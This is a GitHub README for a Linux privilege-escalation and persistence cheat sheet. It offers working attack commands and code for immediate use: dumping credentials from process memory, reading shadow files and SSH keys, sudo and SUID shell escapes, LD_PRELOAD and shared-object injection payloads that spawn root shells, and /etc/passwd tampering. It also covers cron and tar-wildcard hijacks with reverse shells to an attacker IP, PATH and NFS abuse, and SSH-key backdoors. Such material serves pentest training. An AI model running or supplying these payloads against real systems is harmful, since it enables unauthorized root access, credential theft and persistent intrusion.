Skip to content

Audit and pentest methodologies for Linux including internal enumeration, privesc, lateral movement, etc.

Notifications You must be signed in to change notification settings

Kiosec/Linux-Exploitation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 

Repository files navigation

Linux Privilege Escalations

Table of contents

➤ Internal enumeration
➤ Privilege escalation through password mining
➤ Privilege escalation through misconfigurations
➤ Privilege escalation through exploits
➤ Maintain access

⭕ Internal enumeration

🔻Manual enumeration

➤ Users and groups
whoami (Determine the user)
cat /etc/passwd (Enumerate all users)
groups <username> (Determine the groups that our account is part of)
cat /etc/group (List the groups)
find / -perm -u=s -type f 2>/dev/null (Search for SUID binaries that can be exploited and run with root privileges to run arbitrary commands)
➤ ID and location
id
pwd
➤ OS / Version / Architecture
cat /etc/*-release
uname -i
uname -a
uname -r
cat /proc/version
hostnamectl | grep Kernel
lsb_release -a (Debian based OSs)
➤ Packaged installed
dpkg -l (Debian based OSs)
rpm -qa (CentOS / openSUSE )
➤ Running services and network services
ps aux
ps aux | grep root (Processes that are running as root)
netstat -antup
➤ Cron jobs
crontab -l
ls -al /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/contab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
➤ Network
ifconfig
ip addr show
arp -a
route (Display the routing table)
netstat -ant (or -ano) (determine services running and ip) 
➤ Search a file
find . -name "*.txt"
➤ Read SSH key
ls -la /home /root /etc/ssh /home/*/.ssh/; locate id_rsa; locate id_dsa; find / -name id_rsa 2> /dev/null; find / -name id_dsa 2> /dev/null; find / -name authorized_keys 2> /dev/null; cat /home/*/.ssh/id_rsa; cat /home/*/.ssh/id_dsa

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

🔻Automated enumeration

LinEnum : https://github.com/rebootuser/LinEnum

Linprivchecker.py : https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

Unix-privesc-check : http://pentestmonkey.net/tools/audit/unix-privesc-check

Linuxpriveschecker.py : https://raw.githubusercontent.com/swarley7/linuxprivchecker/master/linuxprivchecker.py

Linux-exploit-suggester.sh https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh

LinPeas.exe : https://github.com/carlospolop/PEASS-ng/releases/tag/20220220

Linux-smart-enumeration https://github.com/diego-treitos/linux-smart-enumeration

⭕ Privilege escalation through password mining

🔻Extraction passwords from memory

Uncommon technique that can be used to extract application passwords from memory. The viability and success of this technique will depend on the type of applications that are running on the target and its deployement use case.

➤ 1. Identify the services running on the target system that utilize authentication or services that may have been used to authenticate with other services
#ps -ef
kiosec@cyberlab:~# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  3 21:41 ?        00:00:03 /sbin/init
root         2     0  0 21:41 ?        00:00:00 [kthreadd]
root         3     2  0 21:41 ?        00:00:00 [kworker/0:0]
root         4     2  0 21:41 ?        00:00:00 [kworker/0:0H]
root      5     2  0 21:41 ?        00:00:00 [kworker/u4:0]
user         6     2  0 21:41 ?        00:00:00 -bash
<...>

➤ 1.Bis Identify a specific service running on the target

#ps -ef | grep <SERVICE_NAME>
kiosec@cyberlab:~# ps -ef | grep bash
root      2521  2513  0 21:42 pts/0    00:00:00 -bash

➤ 2. Utilize GDB to dump the memory of the service in oder to reveal credentials that may have been entered in the Bash session ealier

#gdb -p <PID>
kiosec@cyberlab:~# gdb -p 2521

➤ 3. List all mapped memory regions fro the process

If successfull, the GDB should output the mapped address spaces for the service. Take note of the start and the end addresses for the heap, as highlighted in the preceding screenshot, as we will need these addresses in order to dump the memory of the service

# info proc mappings
(gdb) info proc mappings
process 2521
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x561a2fa5c000     0x561a2fb60000   0x104000        0x0 /bin/bash
      0x561a2fd5f000     0x561a2fd63000     0x4000   0x103000 /bin/bash
      0x561a2fd63000     0x561a2fd6c000     0x9000   0x107000 /bin/bash
      0x561a2fd6c000     0x561a2fd76000     0xa000        0x0 
      0x561a303d9000     0x561a3041b000    0x42000        0x0 [heap]
      0x7f2f64587000     0x7f2f64592000     0xb000        0x0 /lib/x86_64-linux-gnu/libnss_files-2.27.so
      0x7f2f64592000     0x7f2f64791000   0x1ff000     0xb000 /lib/x86_64-linux-gnu/libnss_files-2.27.so

➤ 4. Dump the memory of the service by specific the start and end addresses of the heap allocation

# dump memory <OUTPUT_FILE> <START_ADDRESS> <END_ADDRESS>
(gdb) dump memory dump_file 0x561a303d9000 0x561a3041b000

➤ 5. Quit GDB

➤ 6. Utilize strings utility to identify potentially useful information and credentials

#strings /<OUTPUT_DUMPED_FILE> | grep <STRING>
kiosec@cyberlab:~# strings /dumped_file | grep passw
mysql -h host.local -uroot -ppassword@2023

➤ 7. Use the credentials

often, root user has reused their password for other service such as DB. So always try to gain access to the root account on the target via SSH or su using discovered creds 
try to connect to database
try to connect to application

🔻Extraction passwords from configuration files

➤ Using GREP
#Everywhere
grep --color=auto -rnv '/' -ie "PASS" --color=always 2> /dev/null
#Limt search to /etc configuration folder
grep --color=auto -rnv '/etc' -ie "PASS" --color=always 2> /dev/null
➤ Using FIND
find /etc -type f -exec grep -i -I "PASS" {} /dev/null \;

🔻Extraction passwords in history files

➤ Analyze the user account Bash history file
cat /home/user/.bash_history | grep "pass"

OR

history

⭕ Privilege escalation through misconfigurations

🔻Sudoers method

Exhaustive list of privilege escalation using Sudoers
https://gtfobins.github.io/
  1. Check its current situation related to root privileges
kiosec@lab:/home$ sudo -l
Example of privilege escalation through sudo
➤ Python
sudo -u root /usr/bin/python
>>> from subprocess import call
>>> call(['/bin/bash'])

➤ Perl
sudo -u root /usr/bin/perl -e ‘`/bin/bash`’

➤ CP + Chmod
sudo -u root /bin/cp exploit exploit
sudo -u root /bin/chmod +xs exploit
./exploit

➤ Awk
awk 'BEGIN {system("/bin/bash")}'

➤ Less
• Solution 1 - read a file
sudo -u root /usr/bin/less /etc/shadow
 
• Solution 2 - create a file
sudo -u root /usr/bin/less 
then insert the following command :
!/bin/bash

➤ Vim
sudo -u victim /usr/bin/vim
then write the following command (same way to quit vim :!q):
:!/bin/bash

➤ Find
sudo -u root /usr/bin/find /bin -name "bash" -exec {} \;

➤ Bash
sudo -u root /bin/bash

➤ Nmap
sudo -u nmap –interactive
nmap>!bash
or
nmap>!sh

➤ Mail
sudo mail --exec='!/bin/bash'
CVE-2019-14287 (ALL, !root)
kiosec@lab:~$ sudo -l
<...>
User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

kiosec@lab:~$ sudo -u#-1 /bin/bash
or
kiosec@lab:~$ sudo -u \#$((0xffffffff)) /bin/bash

🔻LD_PRELOAD method

https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/

➤ Check for LD_PRELOAD (with the env_keep option)
kiosec@lab:/home$ sudo -l
Matching Default entries for user on this host:
	en_reset, env_keep+=LD_PRELOAD
<snip>
➤ Write a simple C code compiled as a share object (.so extension) file
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
➤ Compile the code
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
➤ Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

🔻Writable files method

➤ Read/write sensitive files
/etc/passwd
/etc/group
/etc/profile
/etc/shadow
➤ Detect if the file is writable
ls -l /etc/passwd
-rwxrwxrwx. 1 root root 1306 Jan 10 21:30 /etc/passwd
➤ Privesc 01 : Delete the x of the root user in /etc/password
• By deleting the 'x', all users can substitute the root user. 
root:x:0:0:root:/root:/bin/bash
->
root::0:0:root:/root:/bin/bash
➤ Privesc 02 : Add another root user in /etc/password
echo "kiosec:x:0:0:test:/root:/bin/bash" >> /etc/passwd

🔻SUID files method

➤ List files that have SUID (Set-user Identification) or SGID (Set-group Identification) bits set. These (S) allow files to be executed with the permission level of the file owner or the group owner, respectively.
• find / -type f -perm -04000 -ls 2>/dev/null
OR more valuable
• find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null 
➤ A good practice would be to compare executables on this list with GTFOBins
https://gtfobins.github.io/#+suid
Example : Base64
➤  Find SUID and SGID (base64 detected)

Kiosec@lab$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
<snip>
-rwsr-xr-x 1 root root 43352 Sep  5  2019 /usr/bin/base64
<snip>

➤  Verify that base64 is vulnerable to SUID attack
https://gtfobins.github.io/#+suid

➤  Follow the attack
• Method 01:
Kiosec@lab$cd /etc
Kiosec@lab/etc$ LFILE=shadow
Kiosec@lab/etc$ base64 "$LFILE" | base64 --decode
root:*:18561:0:99999:7:::
<snip>

• Method 02:
Kiosec@lab/etc$ base64 /etc/shadow | base64 --decode
root:*:18561:0:99999:7:::
<snip>

➤  Crack hashes using john

#The code below read the document /root/root.txt and write the contain into /tmp/output.txt
#Be careful to copy/paste each line one by one and not a global copy/paste 
ABC=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output.txt"
[Install]
WantedBy=multi-user.target' > $ABC
./systemctl link $ABC
./systemctl enable --now $ABC

🔻Shared object injection method

linPEAS runs each SUID binary with strace (utility used to monitor and debug applications and processes and their interaction with the linux kernel) to identify the shared objects that are used by the binary and lists theirs respectives locations.

Note: Shared objects are the Linux equivalent of DLL on Windows

➤ 1. Execute linPEAS (alternative 3.BIS)
➤ 2. Analyze the result

As example here, the vulnsuid binary utilizes the libcalc.so shared ojects that do not exist on the target system and should be located into the "/home/user/.config/" folder.

#Example of interesting output
<...>
-rwsr-sr-x 1 root staff 9,2K May 15 2023 /usr/local/bin/vulnsuid (Unknow SUID binary)
--- Trying to execute /usr/local/bin/vulnsuid with strace in order to look for hijackable libraries...
open("/home/user/.config/libcalc.so" O_RDONLY) =-& ENOENT (No such file or directory)
➤ 3. Analyze what the binary does by executing it
vulnsuid
➤ 3.BIS Alternatively, analyze what shared objects the binary uses
strace /usr/local/bin/vulnsuid 2>&1 | grep -i -E "open|access|no such file"

OR

# Less usefull
strings /usr/local/bin/vulnsuid
➤ 4. Create the missing shared object

Note: In some case, the directory is missing and it will be requiered to firstly create the directory (mkdir)

touch /home/user/.config/libcalc.c

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && / tmp/bash -p");
}
➤ 5. Compile the custom shared object with GCC

Note: When compiling our code with GCC, we used the -fPIC flag, which ensures that the code in our shared library is postion-independent and can be loaded by any address in memory

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
➤ 6. Execute the binary in order to execute the custom shared library
vulnsuid

🔻Capabilities method

If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

Another method system administrators can use to increase the privilege level of a process or binary is “Capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.

➤ 1. Detect the Capabilities with CAP_SETUID (i.e. When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null)
Kiosec@lab$getcap -r / 2>/dev/null
➤ 2. Check if the binaries founded can be leveraged for privesc.
https://gtfobins.github.io/#

🔻Crontab method

➤ 1. Check the cron job configurations stored as crontabs (cron tables)
kiosec@lab:/home$ cat /etc/crontab
➤ 1 BIS. If the access to the utility has been limited by the administrator, it is possible tu use the following commands to enumerate information regarding the active con jobs
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
Notes: Be careful with the PATH included at the beginning of the crontab file (first lines)
➤ 2. Identify the cron job set by root
➤ 3. For each of cron job identified, detect if the script can be modify (ex: script can be modify, can be remove or replace in the folder)
kiosec@lab:/home$ ls -al xxxx
➤ 4. Modify the script with a reverse shell or a privilege escalation payloads
➤ 4 BIS. Sometimes, the cron job is present in the crontab but the associated script does not exist. In this case, check if it is possible to write in the corresponding folder, then create a malicious script with the name. As example :
kiosec@lab:/home$ cat /etc/crontab
* * * * *  root /tmp/test.sh #Script located in tmp and run with root privileges
<snip>

kiosec@lab:/home$ ls -al
ls: cannot access '/tmp/test.sh': No such file or directory # The script does not exist
OR
kiosec@lab:/home$ locate test.py

kiosec@lab:/home$ echo "YOUR_PAYLOAD" >> /tmp/test.sh
OR
kiosec@lab:/home$ vim /tmp/test.sh
#!bin/bash
/bin/sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
OR directly
/bin/sh

🔻Wildcard (*) in con executed script

This privilege escalation technique involves taking advantage of cron jobs that execute commands or script with wildard (*).

➤ 1. Analyzing the crontab file
kiosec@lab:/home$ cat /etc/crontab
* * * * *  root /tmp/test.sh #Script located in tmp and run with root privileges
<snip>
➤ 2. Analyse the content of the script

The script here is executed from the user account's home directory and that the files have been compressed with the tar utility. However, we can also identify a wildcard (*) at the end of the tar command. The wildcard is used to specify all the files in the user account's home directory.

The tar utility has a checkpoint feature that is used to display progress messages after a specific set of files. it also allows users to define a specific action that is executed during the checkpoint. We can leverage this feature to execute a reverse shell payload that will provide us with an elevated session when executed.

kiosec@lab:/home$ cat /tmp/test.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
➤ 3. Create a reverse shell on the victim machine
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1' > shell.sh
➤ 4. Create a listener on the attacker machine
➤ 5. On the target machine, set up our tar checkpoints in the user account's home directory
touch /home/user/--checkpoint=1
➤ 6. On the target machine, set up the checkpoint action.

In this case, the checkpoint action will execute the shell.sh script.

touch /home/user/--checkpoint-action=exec=sh\ shell.sh

🔻Path method

PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH.

If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script.

➤ Display the $PATH value
kiosec@lab:/home$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Example of attack steps
➤ 1. Detect a script with SUID configuration
kiosec@lab:/home$ ls -al
<snip>
-rwsr-xr-x 1 root root 1023 March 21 10:03 vuln_script

➤ 2. Check the code source of the script and detect if a a system binary is called. As example : 
kiosec@lab:/home$ cat vuln_script
<snip>
system("random_binary");

➤ 3. By default, while you try to execute the script, Linux will start searching in the folder listed in $PATH. Consequently, check if the system binary called (ex: random_binary) is present in one of the folders listed in $PATH.
kiosec@lab:/$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v usr | sort -u
kiosec@lab:/$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u #Add “grep -v proc” to get rid of the many results related to running processes.

• 3.1 If the binary exists in one of the folders listed in $PATH, check if you can replace/modify it.

• 3.2 If the binary does not exist, check if you have the write permission on one of the folders listed in $PATH, then create the binary file 'random_binary' with your payload inside.

• 3.3 If the binary does not exist and you cannot write into the folders listed in $PATH, add a writable folder in the $PATH (as example tmp)
kiosec@lab:/home$ export PATH=/tmp:$PATH
Then, create the binary file 'random_binary' with your payloard inside.
kiosec@lab:/$ cd /tmp
kiosec@lab:/$ echo "/bin/bash" > random_binary
kiosec@lab:/$ chmod 777 random_binary

➤ 4. Execute the file with the SUID
./scriptSUID

🔻NFS method

NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.

➤ Display the NFS configuration
victim@target:/home$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#		to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.

Example of attack steps
➤ 1. Detect the NFS with 'no_toot_squash'
<snip>
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

➤ 2. Enumerate the mountable shares
victim@target:/home$ showmount -e 10.0.0.1
Export list for 10.0.0.1
/backups          *
/mnt/sharedfolder *
/tmp              *

➤ 3. Mount one of the 'no_root-squash' to our attacking machine 
kiosec@lab:/$ mkdir /tmp/backupsonattackermachine
kiosec@lab:/$ mount -o rw 10.0.0.1:/backups /tmp/backupsonattackermachine

➤ 4. Create an executable that will run /bin/bash on the target system with SUID bits (ex: nfs.c)
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

➤ 5. Compile the code 
kiosec@lab:/tmp/backupsonattackermachine$ gcc nfs.c -o nfs -w
kiosec@lab:/tmp/backupsonattackermachine$ chmod +s nfs
kiosec@lab:/tmp/backupsonattackermachine$ ls -l nfs
-rwsr-sr-x 1 root root 8392 May 17 09:41 nfs

➤ 5. Execute the code on the victim and gain root shell
victim@target:/backups$ ./nfs

⭕ Privilege escalation through exploits

CVE Exploit name Exploit location
DirtyCow https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/DirtyCow/DirtyCow.md
Baron Samedit CVE-2021-3156 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/Baron-Samedit/CVE-2021-3156
Pwnkit CVE-2021-4034 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/Pwnkit/CVE-2021-4034.md
DirtyPipe CVE-2022-0847 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/DirtyPipe/CVE-2022-0847.md
GameOver(lay) CVE-2023-2640 CVE-2023-32629 https://github.com/Kiosec/Linux-Exploitation/blob/main/Exploits/GameOver(lay)/CVE-2023-2640-CVE-2023-32629.md

⭕ Maintain access

🔻Upload SSH key

➤ 1. On the attacker machine, generate keys

#(keys are stored /home/<user>/.ssh/)
ssh-keygen -t rsa

➤ 2. Copy the public key to the server

ssh-copy-id <user>@<server IP>
or
cat /home/<user>/.ssh/id_rsa.pub
Copy the contents and paste them on the server in the /home/<user>/.ssh/authorized_keys file

➤ 3. Restart the service

service ssh restart

➤ 4. Access using the ssh key

ssh -i key.pem [email protected]
ssh -i key.pem -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]

About

Audit and pentest methodologies for Linux including internal enumeration, privesc, lateral movement, etc.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published